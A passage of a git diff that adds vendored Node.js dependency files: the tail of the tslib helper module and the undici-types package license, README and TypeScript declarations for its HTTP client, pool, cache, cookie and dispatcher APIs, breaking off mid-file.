e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; + function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } + }; + + __asyncValues = function (o) { + if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); + var m = o[Symbol.asyncIterator], i; + return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); + function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } + function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } + }; + + __makeTemplateObject = function (cooked, raw) { + if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } + return cooked; + }; + + var __setModuleDefault = Object.create ? (function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); + }) : function(o, v) { + o["default"] = v; + }; + + __importStar = function (mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + __setModuleDefault(result, mod); + return result; + }; + + __importDefault = function (mod) { + return (mod && mod.__esModule) ? mod : { "default": mod }; + }; + + __classPrivateFieldGet = function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); + }; + + __classPrivateFieldSet = function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; + }; + + __classPrivateFieldIn = function (state, receiver) { + if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); + return typeof state === "function" ? receiver === state : state.has(receiver); + }; + + __addDisposableResource = function (env, value, async) { + if (value !== null && value !== void 0) { + if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); + var dispose, inner; + if (async) { + if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); + dispose = value[Symbol.asyncDispose]; + } + if (dispose === void 0) { + if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); + dispose = value[Symbol.dispose]; + if (async) inner = dispose; + } + if (typeof dispose !== "function") throw new TypeError("Object not disposable."); + if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; + env.stack.push({ value: value, dispose: dispose, async: async }); + } + else if (async) { + env.stack.push({ async: true }); + } + return value; + }; + + var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { + var e = new Error(message); + return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; + }; + + __disposeResources = function (env) { + function fail(e) { + env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; + env.hasError = true; + } + var r, s = 0; + function next() { + while (r = env.stack.pop()) { + try { + if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); + if (r.dispose) { + var result = r.dispose.call(r.value); + if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); + } + else s |= 1; + } + catch (e) { + fail(e); + } + } + if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); + if (env.hasError) throw env.error; + } + return next(); + }; + + exporter("__extends", __extends); + exporter("__assign", __assign); + exporter("__rest", __rest); + exporter("__decorate", __decorate); + exporter("__param", __param); + exporter("__esDecorate", __esDecorate); + exporter("__runInitializers", __runInitializers); + exporter("__propKey", __propKey); + exporter("__setFunctionName", __setFunctionName); + exporter("__metadata", __metadata); + exporter("__awaiter", __awaiter); + exporter("__generator", __generator); + exporter("__exportStar", __exportStar); + exporter("__createBinding", __createBinding); + exporter("__values", __values); + exporter("__read", __read); + exporter("__spread", __spread); + exporter("__spreadArrays", __spreadArrays); + exporter("__spreadArray", __spreadArray); + exporter("__await", __await); + exporter("__asyncGenerator", __asyncGenerator); + exporter("__asyncDelegator", __asyncDelegator); + exporter("__asyncValues", __asyncValues); + exporter("__makeTemplateObject", __makeTemplateObject); + exporter("__importStar", __importStar); + exporter("__importDefault", __importDefault); + exporter("__classPrivateFieldGet", __classPrivateFieldGet); + exporter("__classPrivateFieldSet", __classPrivateFieldSet); + exporter("__classPrivateFieldIn", __classPrivateFieldIn); + exporter("__addDisposableResource", __addDisposableResource); + exporter("__disposeResources", __disposeResources); +}); diff --git a/node_modules/undici-types/LICENSE b/node_modules/undici-types/LICENSE new file mode 100644 index 000000000000..e7323bb52ec3 --- /dev/null +++ b/node_modules/undici-types/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) Matteo Collina and Undici contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/node_modules/undici-types/README.md b/node_modules/undici-types/README.md new file mode 100644 index 000000000000..20a721c445a2 --- /dev/null +++ b/node_modules/undici-types/README.md @@ -0,0 +1,6 @@ +# undici-types + +This package is a dual-publish of the [undici](https://www.npmjs.com/package/undici) library types. The `undici` package **still contains types**. This package is for users who _only_ need undici types (such as for `@types/node`). It is published alongside every release of `undici`, so you can always use the same version. + +- [GitHub nodejs/undici](https://github.com/nodejs/undici) +- [Undici Documentation](https://undici.nodejs.org/#/) diff --git a/node_modules/undici-types/agent.d.ts b/node_modules/undici-types/agent.d.ts new file mode 100644 index 000000000000..58081ce93726 --- /dev/null +++ b/node_modules/undici-types/agent.d.ts @@ -0,0 +1,31 @@ +import { URL } from 'url' +import Pool from './pool' +import Dispatcher from "./dispatcher"; + +export default Agent + +declare class Agent extends Dispatcher{ + constructor(opts?: Agent.Options) + /** `true` after `dispatcher.close()` has been called. */ + closed: boolean; + /** `true` after `dispatcher.destroyed()` has been called or `dispatcher.close()` has been called and the dispatcher shutdown has completed. */ + destroyed: boolean; + /** Dispatches a request. */ + dispatch(options: Agent.DispatchOptions, handler: Dispatcher.DispatchHandlers): boolean; +} + +declare namespace Agent { + export interface Options extends Pool.Options { + /** Default: `(origin, opts) => new Pool(origin, opts)`. */ + factory?(origin: string | URL, opts: Object): Dispatcher; + /** Integer. Default: `0` */ + maxRedirections?: number; + + interceptors?: { Agent?: readonly Dispatcher.DispatchInterceptor[] } & Pool.Options["interceptors"] + } + + export interface DispatchOptions extends Dispatcher.DispatchOptions { + /** Integer. */ + maxRedirections?: number; + } +} diff --git a/node_modules/undici-types/api.d.ts b/node_modules/undici-types/api.d.ts new file mode 100644 index 000000000000..400341dddc06 --- /dev/null +++ b/node_modules/undici-types/api.d.ts @@ -0,0 +1,43 @@ +import { URL, UrlObject } from 'url' +import { Duplex } from 'stream' +import Dispatcher from './dispatcher' + +export { + request, + stream, + pipeline, + connect, + upgrade, +} + +/** Performs an HTTP request. */ +declare function request( + url: string | URL | UrlObject, + options?: { dispatcher?: Dispatcher } & Omit & Partial>, +): Promise; + +/** A faster version of `request`. */ +declare function stream( + url: string | URL | UrlObject, + options: { dispatcher?: Dispatcher } & Omit, + factory: Dispatcher.StreamFactory +): Promise; + +/** For easy use with `stream.pipeline`. */ +declare function pipeline( + url: string | URL | UrlObject, + options: { dispatcher?: Dispatcher } & Omit, + handler: Dispatcher.PipelineHandler +): Duplex; + +/** Starts two-way communications with the requested resource. */ +declare function connect( + url: string | URL | UrlObject, + options?: { dispatcher?: Dispatcher } & Omit +): Promise; + +/** Upgrade to a different protocol. */ +declare function upgrade( + url: string | URL | UrlObject, + options?: { dispatcher?: Dispatcher } & Omit +): Promise; diff --git a/node_modules/undici-types/balanced-pool.d.ts b/node_modules/undici-types/balanced-pool.d.ts new file mode 100644 index 000000000000..7f930f4108c0 --- /dev/null +++ b/node_modules/undici-types/balanced-pool.d.ts @@ -0,0 +1,29 @@ +import Pool from './pool' +import Dispatcher from './dispatcher' +import { URL } from 'url' + +export default BalancedPool + +type BalancedPoolConnectOptions = Omit; + +declare class BalancedPool extends Dispatcher { + constructor(url: string | string[] | URL | URL[], options?: Pool.Options); + + addUpstream(upstream: string | URL): BalancedPool; + removeUpstream(upstream: string | URL): BalancedPool; + upstreams: Array; + + /** `true` after `pool.close()` has been called. */ + closed: boolean; + /** `true` after `pool.destroyed()` has been called or `pool.close()` has been called and the pool shutdown has completed. */ + destroyed: boolean; + + // Override dispatcher APIs. + override connect( + options: BalancedPoolConnectOptions + ): Promise; + override connect( + options: BalancedPoolConnectOptions, + callback: (err: Error | null, data: Dispatcher.ConnectData) => void + ): void; +} diff --git a/node_modules/undici-types/cache.d.ts b/node_modules/undici-types/cache.d.ts new file mode 100644 index 000000000000..4c3333576666 --- /dev/null +++ b/node_modules/undici-types/cache.d.ts @@ -0,0 +1,36 @@ +import type { RequestInfo, Response, Request } from './fetch' + +export interface CacheStorage { + match (request: RequestInfo, options?: MultiCacheQueryOptions): Promise, + has (cacheName: string): Promise, + open (cacheName: string): Promise, + delete (cacheName: string): Promise, + keys (): Promise +} + +declare const CacheStorage: { + prototype: CacheStorage + new(): CacheStorage +} + +export interface Cache { + match (request: RequestInfo, options?: CacheQueryOptions): Promise, + matchAll (request?: RequestInfo, options?: CacheQueryOptions): Promise, + add (request: RequestInfo): Promise, + addAll (requests: RequestInfo[]): Promise, + put (request: RequestInfo, response: Response): Promise, + delete (request: RequestInfo, options?: CacheQueryOptions): Promise, + keys (request?: RequestInfo, options?: CacheQueryOptions): Promise +} + +export interface CacheQueryOptions { + ignoreSearch?: boolean, + ignoreMethod?: boolean, + ignoreVary?: boolean +} + +export interface MultiCacheQueryOptions extends CacheQueryOptions { + cacheName?: string +} + +export declare const caches: CacheStorage diff --git a/node_modules/undici-types/client.d.ts b/node_modules/undici-types/client.d.ts new file mode 100644 index 000000000000..d0a5379f33cd --- /dev/null +++ b/node_modules/undici-types/client.d.ts @@ -0,0 +1,108 @@ +import { URL } from 'url' +import { TlsOptions } from 'tls' +import Dispatcher from './dispatcher' +import buildConnector from "./connector"; + +type ClientConnectOptions = Omit; + +/** + * A basic HTTP/1.1 client, mapped on top a single TCP/TLS connection. Pipelining is disabled by default. + */ +export class Client extends Dispatcher { + constructor(url: string | URL, options?: Client.Options); + /** Property to get and set the pipelining factor. */ + pipelining: number; + /** `true` after `client.close()` has been called. */ + closed: boolean; + /** `true` after `client.destroyed()` has been called or `client.close()` has been called and the client shutdown has completed. */ + destroyed: boolean; + + // Override dispatcher APIs. + override connect( + options: ClientConnectOptions + ): Promise; + override connect( + options: ClientConnectOptions, + callback: (err: Error | null, data: Dispatcher.ConnectData) => void + ): void; +} + +export declare namespace Client { + export interface OptionsInterceptors { + Client: readonly Dispatcher.DispatchInterceptor[]; + } + export interface Options { + /** TODO */ + interceptors?: OptionsInterceptors; + /** The maximum length of request headers in bytes. Default: Node.js' `--max-http-header-size` or `16384` (16KiB). */ + maxHeaderSize?: number; + /** The amount of time, in milliseconds, the parser will wait to receive the complete HTTP headers (Node 14 and above only). Default: `300e3` milliseconds (300s). */ + headersTimeout?: number; + /** @deprecated unsupported socketTimeout, use headersTimeout & bodyTimeout instead */ + socketTimeout?: never; + /** @deprecated unsupported requestTimeout, use headersTimeout & bodyTimeout instead */ + requestTimeout?: never; + /** TODO */ + connectTimeout?: number; + /** The timeout after which a request will time out, in milliseconds. Monitors time between receiving body data. Use `0` to disable it entirely. Default: `300e3` milliseconds (300s). */ + bodyTimeout?: number; + /** @deprecated unsupported idleTimeout, use keepAliveTimeout instead */ + idleTimeout?: never; + /** @deprecated unsupported keepAlive, use pipelining=0 instead */ + keepAlive?: never; + /** the timeout, in milliseconds, after which a socket without active requests will time out. Monitors time between activity on a connected socket. This value may be overridden by *keep-alive* hints from the server. Default: `4e3` milliseconds (4s). */ + keepAliveTimeout?: number; + /** @deprecated unsupported maxKeepAliveTimeout, use keepAliveMaxTimeout instead */ + maxKeepAliveTimeout?: never; + /** the maximum allowed `idleTimeout`, in milliseconds, when overridden by *keep-alive* hints from the server. Default: `600e3` milliseconds (10min). */ + keepAliveMaxTimeout?: number; + /** A number of milliseconds subtracted from server *keep-alive* hints when overriding `idleTimeout` to account for timing inaccuracies caused by e.g. transport latency. Default: `1e3` milliseconds (1s). */ + keepAliveTimeoutThreshold?: number; + /** TODO */ + socketPath?: string; + /** The amount of concurrent requests to be sent over the single TCP/TLS connection according to [RFC7230](https://tools.ietf.org/html/rfc7230#section-6.3.2). Default: `1`. */ + pipelining?: number; + /** @deprecated use the connect option instead */ + tls?: never; + /** If `true`, an error is thrown when the request content-length header doesn't match the length of the request body. Default: `true`. */ + strictContentLength?: boolean; + /** TODO */ + maxCachedSessions?: number; + /** TODO */ + maxRedirections?: number; + /** TODO */ + connect?: buildConnector.BuildOptions | buildConnector.connector; + /** TODO */ + maxRequestsPerClient?: number; + /** TODO */ + localAddress?: string; + /** Max response body size in bytes, -1 is disabled */ + maxResponseSize?: number; + /** Enables a family autodetection algorithm that loosely implements section 5 of RFC 8305. */ + autoSelectFamily?: boolean; + /** The amount of time in milliseconds to wait for a connection attempt to finish before trying the next address when using the `autoSelectFamily` option. */ + autoSelectFamilyAttemptTimeout?: number; + /** + * @description Enables support for H2 if the server has assigned bigger priority to it through ALPN negotiation. + * @default false + */ + allowH2?: boolean; + /** + * @description Dictates the maximum number of concurrent streams for a single H2 session. It can be overridden by a SETTINGS remote frame. + * @default 100 + */ + maxConcurrentStreams?: number + } + export interface SocketInfo { + localAddress?: string + localPort?: number + remoteAddress?: string + remotePort?: number + remoteFamily?: string + timeout?: number + bytesWritten?: number + bytesRead?: number + } +} + +export default Client; diff --git a/node_modules/undici-types/connector.d.ts b/node_modules/undici-types/connector.d.ts new file mode 100644 index 000000000000..bd924339eb39 --- /dev/null +++ b/node_modules/undici-types/connector.d.ts @@ -0,0 +1,34 @@ +import { TLSSocket, ConnectionOptions } from 'tls' +import { IpcNetConnectOpts, Socket, TcpNetConnectOpts } from 'net' + +export default buildConnector +declare function buildConnector (options?: buildConnector.BuildOptions): buildConnector.connector + +declare namespace buildConnector { + export type BuildOptions = (ConnectionOptions | TcpNetConnectOpts | IpcNetConnectOpts) & { + allowH2?: boolean; + maxCachedSessions?: number | null; + socketPath?: string | null; + timeout?: number | null; + port?: number; + keepAlive?: boolean | null; + keepAliveInitialDelay?: number | null; + } + + export interface Options { + hostname: string + host?: string + protocol: string + port: string + servername?: string + localAddress?: string | null + httpSocket?: Socket + } + + export type Callback = (...args: CallbackArgs) => void + type CallbackArgs = [null, Socket | TLSSocket] | [Error, null] + + export interface connector { + (options: buildConnector.Options, callback: buildConnector.Callback): void + } +} diff --git a/node_modules/undici-types/content-type.d.ts b/node_modules/undici-types/content-type.d.ts new file mode 100644 index 000000000000..f2a87f1b7518 --- /dev/null +++ b/node_modules/undici-types/content-type.d.ts @@ -0,0 +1,21 @@ +/// + +interface MIMEType { + type: string + subtype: string + parameters: Map + essence: string +} + +/** + * Parse a string to a {@link MIMEType} object. Returns `failure` if the string + * couldn't be parsed. + * @see https://mimesniff.spec.whatwg.org/#parse-a-mime-type + */ +export function parseMIMEType (input: string): 'failure' | MIMEType + +/** + * Convert a MIMEType object to a string. + * @see https://mimesniff.spec.whatwg.org/#serialize-a-mime-type + */ +export function serializeAMimeType (mimeType: MIMEType): string diff --git a/node_modules/undici-types/cookies.d.ts b/node_modules/undici-types/cookies.d.ts new file mode 100644 index 000000000000..aa38cae49d77 --- /dev/null +++ b/node_modules/undici-types/cookies.d.ts @@ -0,0 +1,28 @@ +/// + +import type { Headers } from './fetch' + +export interface Cookie { + name: string + value: string + expires?: Date | number + maxAge?: number + domain?: string + path?: string + secure?: boolean + httpOnly?: boolean + sameSite?: 'Strict' | 'Lax' | 'None' + unparsed?: string[] +} + +export function deleteCookie ( + headers: Headers, + name: string, + attributes?: { name?: string, domain?: string } +): void + +export function getCookies (headers: Headers): Record + +export function getSetCookies (headers: Headers): Cookie[] + +export function setCookie (headers: Headers, cookie: Cookie): void diff --git a/node_modules/undici-types/diagnostics-channel.d.ts b/node_modules/undici-types/diagnostics-channel.d.ts new file mode 100644 index 000000000000..a037d1e0b2ce --- /dev/null +++ b/node_modules/undici-types/diagnostics-channel.d.ts @@ -0,0 +1,66 @@ +import { Socket } from "net"; +import { URL } from "url"; +import Connector from "./connector"; +import Dispatcher from "./dispatcher"; + +declare namespace DiagnosticsChannel { + interface Request { + origin?: string | URL; + completed: boolean; + method?: Dispatcher.HttpMethod; + path: string; + headers: any; + } + interface Response { + statusCode: number; + statusText: string; + headers: Array; + } + type Error = unknown; + interface ConnectParams { + host: URL["host"]; + hostname: URL["hostname"]; + protocol: URL["protocol"]; + port: URL["port"]; + servername: string | null; + } + type Connector = Connector.connector; + export interface RequestCreateMessage { + request: Request; + } + export interface RequestBodySentMessage { + request: Request; + } + export interface RequestHeadersMessage { + request: Request; + response: Response; + } + export interface RequestTrailersMessage { + request: Request; + trailers: Array; + } + export interface RequestErrorMessage { + request: Request; + error: Error; + } + export interface ClientSendHeadersMessage { + request: Request; + headers: string; + socket: Socket; + } + export interface ClientBeforeConnectMessage { + connectParams: ConnectParams; + connector: Connector; + } + export interface ClientConnectedMessage { + socket: Socket; + connectParams: ConnectParams; + connector: Connector; + } + export interface ClientConnectErrorMessage { + error: Error; + socket: Socket; + connectParams: ConnectParams; + connector: Connector; + } +} diff --git a/node_modules/undici-types/dispatcher.d.ts b/node_modules/undici-types/dispatcher.d.ts new file mode 100644 index 000000000000..0aa2aba00e3e --- /dev/null +++ b/node_modules/undici-types/dispatcher.d.ts @@ -0,0 +1,255 @@ +import { URL } from 'url' +import { Duplex, Readable, Writable } from 'stream' +import { EventEmitter } from 'events' +import { Blob } from 'buffer' +import { IncomingHttpHeaders } from './header' +import BodyReadable from './readable' +import { FormData } from './formdata' +import Errors from './errors' + +type AbortSignal = unknown; + +export default Dispatcher + +/** Dispatcher is the core API used to dispatch requests. */ +declare class Dispatcher extends EventEmitter { + /** Dispatches a request. This API is expected to evolve through semver-major versions and is less stable than the preceding higher level APIs. It is primarily intended for library developers who implement higher level APIs on top of this. */ + dispatch(options: Dispatcher.DispatchOptions, handler: Dispatcher.DispatchHandlers): boolean; + /** Starts two-way communications with the requested resource. */ + connect(options: Dispatcher.ConnectOptions): Promise; + connect(options: Dispatcher.ConnectOptions, callback: (err: Error | null, data: Dispatcher.ConnectData) => void): void; + /** Compose a chain of dispatchers */ + compose(dispatchers: Dispatcher.DispatcherComposeInterceptor[]): Dispatcher.ComposedDispatcher; + compose(...dispatchers: Dispatcher.DispatcherComposeInterceptor[]): Dispatcher.ComposedDispatcher; + /** Performs an HTTP request. */ + request(options: Dispatcher.RequestOptions): Promise; + request(options: Dispatcher.RequestOptions, callback: (err: Error | null, data: Dispatcher.ResponseData) => void): void; + /** For easy use with `stream.pipeline`. */ + pipeline(options: Dispatcher.PipelineOptions, handler: Dispatcher.PipelineHandler): Duplex; + /** A faster version of `Dispatcher.request`. */ + stream(options: Dispatcher.RequestOptions, factory: Dispatcher.StreamFactory): Promise; + stream(options: Dispatcher.RequestOptions, factory: Dispatcher.StreamFactory, callback: (err: Error | null, data: Dispatcher.StreamData) => void): void; + /** Upgrade to a different protocol. */ + upgrade(options: Dispatcher.UpgradeOptions): Promise; + upgrade(options: Dispatcher.UpgradeOptions, callback: (err: Error | null, data: Dispatcher.UpgradeData) => void): void; + /** Closes the client and gracefully waits for enqueued requests to complete before invoking the callback (or returning a promise if no callback is provided). */ + close(): Promise; + close(callback: () => void): void; + /** Destroy the client abruptly with the given err. All the pending and running requests will be asynchronously aborted and error. Waits until socket is closed before invoking the callback (or returning a promise if no callback is provided). Since this operation is asynchronously dispatched there might still be some progress on dispatched requests. */ + destroy(): Promise; + destroy(err: Error | null): Promise; + destroy(callback: () => void): void; + destroy(err: Error | null, callback: () => void): void; + + on(eventName: 'connect', callback: (origin: URL, targets: readonly Dispatcher[]) => void): this; + on(eventName: 'disconnect', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + on(eventName: 'connectionError', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + on(eventName: 'drain', callback: (origin: URL) => void): this; + + + once(eventName: 'connect', callback: (origin: URL, targets: readonly Dispatcher[]) => void): this; + once(eventName: 'disconnect', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + once(eventName: 'connectionError', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + once(eventName: 'drain', callback: (origin: URL) => void): this; + + + off(eventName: 'connect', callback: (origin: URL, targets: readonly Dispatcher[]) => void): this; + off(eventName: 'disconnect', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + off(eventName: 'connectionError', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + off(eventName: 'drain', callback: (origin: URL) => void): this; + + + addListener(eventName: 'connect', callback: (origin: URL, targets: readonly Dispatcher[]) => void): this; + addListener(eventName: 'disconnect', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + addListener(eventName: 'connectionError', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + addListener(eventName: 'drain', callback: (origin: URL) => void): this; + + removeListener(eventName: 'connect', callback: (origin: URL, targets: readonly Dispatcher[]) => void): this; + removeListener(eventName: 'disconnect', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + removeListener(eventName: 'connectionError', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + removeListener(eventName: 'drain', callback: (origin: URL) => void): this; + + prependListener(eventName: 'connect', callback: (origin: URL, targets: readonly Dispatcher[]) => void): this; + prependListener(eventName: 'disconnect', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + prependListener(eventName: 'connectionError', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + prependListener(eventName: 'drain', callback: (origin: URL) => void): this; + + prependOnceListener(eventName: 'connect', callback: (origin: URL, targets: readonly Dispatcher[]) => void): this; + prependOnceListener(eventName: 'disconnect', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + prependOnceListener(eventName: 'connectionError', callback: (origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void): this; + prependOnceListener(eventName: 'drain', callback: (origin: URL) => void): this; + + listeners(eventName: 'connect'): ((origin: URL, targets: readonly Dispatcher[]) => void)[] + listeners(eventName: 'disconnect'): ((origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void)[]; + listeners(eventName: 'connectionError'): ((origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void)[]; + listeners(eventName: 'drain'): ((origin: URL) => void)[]; + + rawListeners(eventName: 'connect'): ((origin: URL, targets: readonly Dispatcher[]) => void)[] + rawListeners(eventName: 'disconnect'): ((origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void)[]; + rawListeners(eventName: 'connectionError'): ((origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError) => void)[]; + rawListeners(eventName: 'drain'): ((origin: URL) => void)[]; + + emit(eventName: 'connect', origin: URL, targets: readonly Dispatcher[]): boolean; + emit(eventName: 'disconnect', origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError): boolean; + emit(eventName: 'connectionError', origin: URL, targets: readonly Dispatcher[], error: Errors.UndiciError): boolean; + emit(eventName: 'drain', origin: URL): boolean; +} + +declare namespace Dispatcher { + export interface ComposedDispatcher extends Dispatcher {} + export type DispatcherComposeInterceptor = (dispatch: Dispatcher['dispatch']) => Dispatcher['dispatch']; + export interface DispatchOptions { + origin?: string | URL; + path: string; + method: HttpMethod; + /** Default: `null` */ + body?: string | Buffer | Uint8Array | Readable | null | FormData; + /** Default: `null` */ + headers?: IncomingHttpHeaders | string[] | Iterable<[string, string | string[] | undefined]> | null; + /** Query string params to be embedded in the request URL. Default: `null` */ + query?: Record; + /** Whether the requests can be safely retried or not. If `false` the request won't be sent until all preceding requests in the pipeline have completed. Default: `true` if `method` is `HEAD` or `GET`. */ + idempotent?: boolean; + /** Whether the response is expected to take a long time and would end up blocking the pipeline. When this is set to `true` further pipelining will be avoided on the same connection until headers have been received. */ + blocking?: boolean; + /** Upgrade the request. Should be used to specify the kind of upgrade i.e. `'Websocket'`. Default: `method === 'CONNECT' || null`. */ + upgrade?: boolean | string | null; + /** The amount of time, in milliseconds, the parser will wait to receive the complete HTTP headers. Defaults to 300 seconds. */ + headersTimeout?: number | null; + /** The timeout after which a request will time out, in milliseconds. Monitors time between receiving body data. Use 0 to disable it entirely. Defaults to 300 seconds. */ + bodyTimeout?: number | null; + /** Whether the request should stablish a keep-alive or not. Default `false` */ + reset?: boolean; + /** Whether Undici should throw an error upon receiving a 4xx or 5xx response from the server. Defaults to false */ + throwOnError?: boolean; + /** For H2, it appends the expect: 100-continue header, and halts the request body until a 100-continue is received from the remote server*/ + expectContinue?: boolean; + } + export interface ConnectOptions { + origin: string | URL; + path: string; + /** Default: `null` */ + headers?: IncomingHttpHeaders | string[] | null; + /** Default: `null` */ + signal?: AbortSignal | EventEmitter | null; + /** This argument parameter is passed through to `ConnectData` */ + opaque?: unknown; + /** Default: 0 */ + maxRedirections?: number; + /** Default: false */ + redirectionLimitReached?: boolean; + /** Default: `null` */ + responseHeader?: 'raw' | null; + } + export interface RequestOptions extends DispatchOptions { + /** Default: `null` */ + opaque?: unknown; + /** Default: `null` */ + signal?: AbortSignal | EventEmitter | null; + /** Default: 0 */ + maxRedirections?: number; + /** Default: false */ + redirectionLimitReached?: boolean; + /** Default: `null` */ + onInfo?: (info: { statusCode: number, headers: Record }) => void; + /** Default: `null` */ + responseHeader?: 'raw' | null; + /** Default: `64 KiB` */ + highWaterMark?: number; + } + export interface PipelineOptions extends RequestOptions { + /** `true` if the `handler` will return an object stream. Default: `false` */ + objectMode?: boolean; + } + export interface UpgradeOptions { + path: string; + /** Default: `'GET'` */ + method?: string; + /** Default: `null` */ + headers?: IncomingHttpHeaders | string[] | null; + /** A string of comma separated protocols, in descending preference order. Default: `'Websocket'` */ + protocol?: string; + /** Default: `null` */ + signal?: AbortSignal | EventEmitter | null; + /** Default: 0 */ + maxRedirections?: number; + /** Default: false */ + redirectionLimitReached?: boolean; + /** Default: `null` */ + responseHeader?: 'raw' | null; + } + export interface ConnectData { + statusCode: number; + headers: IncomingHttpHeaders; + socket: Duplex; + opaque: unknown; + } + export interface ResponseData { + statusCode: number; + headers: IncomingHttpHeaders; + body: BodyReadable & BodyMixin; + trailers: Record; + opaque: unknown; + context: object; + } + export interface PipelineHandlerData { + statusCode: number; + headers: IncomingHttpHeaders; + opaque: unknown; + body: BodyReadable; + context: object; + } + export interface StreamData { + opaque: unknown; + trailers: Record; + } + export interface UpgradeData { + headers: IncomingHttpHeaders; + socket: Duplex; + opaque: unknown; + } + export interface StreamFactoryData { + statusCode: number; + headers: IncomingHttpHeaders; + opaque: unknown; + context: object; + } + export type StreamFactory = (data: StreamFactoryData) => Writable; + export interface DispatchHandlers { + /** Invoked before request is dispatched on socket. May be invoked multiple times when a request is retried when the request at the head of the pipeline fails. */ + onConnect?(abort: (err?: Error) => void): void; + /** Invoked when an error has occurred. */ + onError?(err: Error): void; + /** Invoked when request is upgraded either due to a `Upgrade` header or `CONNECT` method. */ + onUpgrade?(statusCode: number, headers: Buffer[] | string[] | null, socket: Duplex): void; + /** Invoked when response is received, before headers have been read. **/ + onResponseStarted?(): void; + /** Invoked when statusCode and headers have been received. May be invoked multiple times due to 1xx informational headers. */ + onHeaders?(statusCode: number, headers: Buffer[], resume: () => void, statusText: string): boolean; + /** Invoked when response payload data is received. */ + onData?(chunk: Buffer): boolean; + /** Invoked when response payload and trailers have been received and the request has completed. */ + onComplete?(trailers: string[] | null): void; + /** Invoked when a body chunk is sent to the server. May be invoked multiple times for chunked requests */ + onBodySent?(chunkSize: number, totalBytesSent: number): void; + } + export type PipelineHandler = (data: PipelineHandlerData) => Readable; + export type HttpMethod = 'GET' | 'HEAD' | 'POST' | 'PUT' | 'DELETE' | 'CONNECT' | 'OPTIONS' | 'TRACE' | 'PATCH'; + + /** + * @link https://fetch.spec.whatwg.org/#body-mixin + */ + interface BodyMixin { + readonly body?: never; + readonly bodyUsed: 